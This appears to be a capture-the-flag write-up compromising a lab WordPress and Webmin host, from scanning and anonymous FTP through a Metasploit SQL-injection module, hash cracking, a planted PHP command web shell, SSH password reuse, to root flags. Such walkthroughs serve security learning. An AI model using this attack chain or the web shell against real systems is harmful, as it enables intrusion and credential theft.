

netdiscover

victim ip: 10.0.2.4

Currently scanning: 10.0.2.0/24 | Screen View: Unique Hosts

4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
10.0.2.1	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.2	52:54:00:12:35:00	1	60	Unknown vendor
10.0.2.3	08:00:27:d5:41:42	1	60	PCS Systemtechnik GmbH
10.0.2.4	08:00:27:fc:18:82	1	60	PCS Systemtechnik GmbH

nmap results

Ports open: 21, 22, 80, 1000

```

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-rw-r-- 1 ftp      ftp      420 Nov 30 2017 index.php
| -rw-rw-r-- 1 ftp      ftp      19935 Sep 05 08:02 license.txt
| -rw-rw-r-- 1 ftp      ftp      7447 Sep 05 08:02 readme.html
| -rw-rw-r-- 1 ftp      ftp      6919 Jan 12 2019 wp-activate.php
| drwxrwxr-x 9 ftp      ftp      4096 Sep 05 08:00 wp-admin
| -rw-rw-r-- 1 ftp      ftp      369 Nov 30 2017 wp-blog-header.php
| -rw-rw-r-- 1 ftp      ftp      2283 Jan 21 2019 wp-comments-post.php
| -rw-rw-r-- 1 ftp      ftp      3255 Sep 27 13:17 wp-config.php
| drwxrwxr-x 8 ftp      ftp      4096 Sep 29 07:36 wp-content
| -rw-rw-r-- 1 ftp      ftp      3847 Jan 09 2019 wp-cron.php
| drwxrwxr-x 20 ftp     ftp      12288 Sep 05 08:03 wp-includes
| -rw-rw-r-- 1 ftp      ftp      2502 Jan 16 2019 wp-links-opml.php
| -rw-rw-r-- 1 ftp      ftp      3306 Nov 30 2017 wp-load.php
| -rw-rw-r-- 1 ftp      ftp      39551 Jun 10 13:34 wp-login.php
| -rw-rw-r-- 1 ftp      ftp      8403 Nov 30 2017 wp-mail.php
| -rw-rw-r-- 1 ftp      ftp      18962 Mar 28 2019 wp-settings.php
| -rw-rw-r-- 1 ftp      ftp      31085 Jan 16 2019 wp-signup.php
| -rw-rw-r-- 1 ftp      ftp      4764 Nov 30 2017 wp-trackback.php
| -rw-rw-r-- 1 ftp      ftp      3068 Aug 17 2018 xmlrpc.php
| ftp-syst:
|   STAT:
| FTP server status:
|   Connected to 10.0.2.15
|   Logged in as ftp
|   TYPE: ASCII
|   No session bandwidth limit
|   Session timeout in seconds is 300
|   Control connection is plain text
|   Data connections will be plain text
|   At session startup, client count was 1
|   vsFTPd 3.0.3 - secure, fast, stable

```

```

22/tcp    open  ssh      OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
|_ ssh-hostkey:
|   2048 b7:2e:8f:cb:12:e4:e8:cd:93:1e:73:0f:51:ce:48:6c (RSA)
|   256 70:f4:44:eb:a8:55:54:38:2d:6d:75:89:bb:ec:7e:e7 (ECDSA)
|   256 7c:0e:ab:fe:53:7e:87:22:f8:5a:df:c9:da:7f:90:79 (ED25519)
80/tcp    open  http      Apache httpd 2.4.25 ((Debian))
|_ http-generator: WordPress 5.2.3
|_ http-server-header: Apache/2.4.25 (Debian)
|_ http-title: Tata intranet &#8211; Just another WordPress site
10000/tcp open  ssl/http MiniServ 1.890 (Webmin httpd)
|_ http-robots.txt: 1 disallowed entry
|_ /
|_ http-title: Login to Webmin
|_ ssl-cert: Subject: commonName=*/organizationName=Webmin Webserver on Linux-Debian
|_ Not valid before: 2019-09-09T13:32:42
|_ Not valid after:  2024-09-07T13:32:42
|_ ssl-date: TLS randomness does not represent time
MAC Address: 08:00:27:FC:18:82 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

wp-config.php, downloaded off ftp

username: anonymous

password: no password

```

// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpress' );

/** MySQL database password */
define( 'DB_PASSWORD', 'nvwtlRqkD0E1jBXu' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );

```

wp enumeration:

username: webmaster

```

[i] User(s) Identified:

[+] webmaster
| Detected By: Author Posts - Display Name (Passive Detection)
| Confirmed By:
|   Rss Generator (Passive Detection)
|   Author Id Brute Forcing - Author Pattern (Aggressive Detection)

```

Interesting vuln: Unauthenticated sql injection

```
[+] wp-google-maps
| Location: http://hf.local/wp-content/plugins/wp-google-maps/
| Last Updated: 2019-10-25T13:36:00.000Z
| [!] The version is out of date, the latest version is 8.0.7
|
| Detected By: Urls In Homepage (Passive Detection)
|
| [!] 4 vulnerabilities identified:
|
| [!] Title: WP Google Maps <= 7.10.41 - Cross-Site Scripting (XSS)
| Fixed in: 7.10.43
| References:
| - https://wpvulndb.com/vulnerabilities/9243
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9912
| - https://security-consulting.icu/blog/2019/02/wordpress-wpgooglemaps-xss/
| - https://lists.openwall.net/full-disclosure/2019/02/05/13
|
| [!] Title: WP Google Maps 7.11.00-7.11.17 - Unauthenticated SQL Injection
| Fixed in: 7.11.18
| References:
| - https://wpvulndb.com/vulnerabilities/9249
| - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10692
| - https://plugins.trac.wordpress.org/changeset/2061434/wp-google-maps/trunk/includes/class.rest-api.php
|
| [!] Title: WP Google Maps <= 7.11.27 - Admin Settings CSRF
| Fixed in: 7.11.28
| References:
| - https://wpvulndb.com/vulnerabilities/9332
| - https://plugins.trac.wordpress.org/changeset/2099647/wp-google-maps/trunk/legacy-core.php?old=20923026
| core.php
```

Running exploit:

https://www.rapid7.com/db/modules/auxiliary/admin/http/wp_google_maps_sqli
<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10692>

```
1  msf > use auxiliary/admin/http/wp_google_maps_sqli
2  msf auxiliary(wp_google_maps_sqli) > show actions
3  ...actions...
4  msf auxiliary(wp_google_maps_sqli) > set ACTION < action-name >
5  msf auxiliary(wp_google_maps_sqli) > show options
6  ...show and set options...
7  msf auxiliary(wp_google_maps_sqli) > run
```



```
msf5 auxiliary(admin/http/wp_google_maps_sqli) > options

Module options (auxiliary/admin/http/wp_google_maps_sqli):

  Name      Current Setting  Required  Description
  ----      -
  DB_PREFIX  wp_              yes       WordPress table prefix
  Proxies    hf.local         no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     hf.local         yes       The target address range or CIDR identifier
  RPORT      80              yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /               yes       The base path to the wordpress application
  VHOST      no              no        HTTP server virtual host
```

```
msf5 auxiliary(admin/http/wp_google_maps_sqli) > run
[*] Running module against 10.0.2.4

[*] 10.0.2.4:80 - Trying to retrieve the wp users table...
[+] Credentials saved in: /root/.msf4/loot/20191119013202_default_10.0.2.4_wp_google_maps.j_542668.bin
[+] 10.0.2.4:80 - Found webmaster $P$Bsq0d1LTcy6ASlofreys4GzRlRvSr1 webmaster@none.local
[*] Auxiliary module execution completed
msf5 auxiliary(admin/http/wp_google_maps_sqli) > █
```

Cracking hashes:

```
root@kali:~/pwn/hf# john --wordlist=../rockyou.txt hashes.txt
Created directory: /root/.john
Using default input encoding: UTF-8
Loaded 1 password hash (phpass [phpass ($P$ or $H$) 256/256 AVX2 8x3])
Cost 1 (iteration count) is 8192 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
kittykat1 (webmaster)
lg 0:00:00:00 DONE (2019-11-19 01:34) 4.761g/s 49371p/s 49371c/s 49371C/s sandara..breana
Use the "--show --format=phpass" options to display all of the cracked passwords reliably
Session completed
root@kali:~/pwn/hf# █
```

Failed trying to insert reverse shell:

```
20 <?php
21 $cmd = $_GET['cmd'];
22 echo '<pre>';
23 system($cmd);
24 echo '</pre>';
25 ?>
26
27 <div class="wrap">
28 <?php if ( is_home() && ! is_front_page() ) : ?>
29 <header class="page-header">
30 <h1 class="page-title"><?php single_post_title(); ?></h1>
31 </header>
32 <?php else : ?>
--
```

Manuál:

Jelikož se nepodařilo navázat spojení s webem a vyhledat kritické chyby, byly PHP změny vráceny zpět. Změněné PHP soubory nahraďte jiným způsobem, například přes SFTP.

Successful login as webmaster

```
root@kali:~# ssh webmaster@hf.local
The authenticity of host 'hf.local (10.0.2.4)' can't be established.
ECDSA key fingerprint is SHA256:cncYAR0sC+UHTIBBVzQUxZMU+rft0EXwNzHnb+BXJX0.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'hf.local,10.0.2.4' (ECDSA) to the list of known hosts.
Password:
Linux HF2019-Linux 4.19.0-0.bpo.6-amd64 #1 SMP Debian 4.19.67-2-bpo9+1 (2019-09-10) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
webmaster@HF2019-Linux:~$ whoami
webmaster
```

Flag:

```
webmaster@HF2019-Linux:~$ cat flag.txt
83cad236438ff0c0dbce55d7f0034aee18f5c39e
webmaster@HF2019-Linux:~$
```

Webmin running as root:

```
webmaster@HF2019-Linux:/etc/init.d$ ps aux|grep webmin
root      841  0.0  3.2 95212 16012 ?        Ss   08:47   0:00 /usr/bin/perl /usr/share/webmin/miniserv.pl /etc/webmin/miniserv.conf
webmaster@HF2019-Linux:/etc/init.d$
```

Password re-use

username: webmaster

password: kittykat1

Browser address bar: <https://hf.local:10000/sysinfo.cgi?xnavigation=1>

Navigation links: Kali Linux, Kali Training, Kali Tools, Kali Docs, Kali Forums, NetHunter, Offensive Security, Exploit-0

Webmin Dashboard

Search

- Webmin
- System
- Servers
- Others
- Networking
- Hardware
- Cluster
- Un-used Modules
- Refresh Modules

System Information

System hostname	localhost (127.0.0.1)
Webmin version	1.890
Time on system	Monday, November 18, 2019 8:40 AM
Processor information	Intel(R) Core(TM) i5-9500 CPU @ 3.00GHz, 1 cores
Running processes	94
Real memory	313.82 MB used / 472.08 MB total
Local disk space	3.47 GB used / 25.93 GB free / 29.40 GB total

Others -> command shell

Others

- Command Shell

Read flag.txt

```
[webmaster@localhost ~]# id
uid=0(root) gid=0(root) groups=0(root)
```

```
[webmaster@localhost root]# ls -lah
total 20K
drwxr-xr-x 4 root root 4.0K Nov 18 15:00 .
drwxr-xr-x 22 root root 4.0K Oct  7 07:31 ..
drwxr-xr-x  2 root root 4.0K Nov 18 15:00 .filemin
drwxr-xr-x  3 root root 4.0K Nov 18 13:39 .gnupg
-rw-r--r--  1 root root  41 Sep 10 09:17 flag.txt
[webmaster@localhost root]# cat flag.txt
3dcdf93d2976321d7a8c47a6bb2d48837d330624
[webmaster@localhost root]#
```

